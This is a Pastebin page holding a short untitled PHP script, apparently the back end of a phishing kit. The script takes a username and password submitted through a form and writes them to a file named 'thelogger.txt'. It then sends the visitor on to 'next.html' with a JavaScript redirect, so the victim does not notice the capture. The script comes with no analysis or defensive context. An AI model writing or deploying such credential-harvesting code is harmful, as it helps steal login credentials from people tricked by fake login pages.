Advertisement
Guest User

Untitled

a guest
May 6th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.50 KB | None | 0 0
  1. <?php
  2. $line     =('===========================================');
  3. $name     = $_POST['name'];
  4. $user    = $_POST['username'];
  5. $passes   = $_POST['password'];
  6. $headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
  7. $mes     .= 'user: '.$user."\n";
  8. $mes     .= 'Password: '.$passes."\n";
  9. $mes     .= ".$line.";
  10.  
  11. $file = "thelogger.txt";
  12. $fh = fopen($file, 'w');
  13. fwrite ($fh, "$mes\n");
  14. fclose($fh);
  15. echo "<script LANGUAGE=\"JavaScript\">
  16. <!--
  17. window.location=\"next.html\";
  18. //-->
  19. </script>";
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement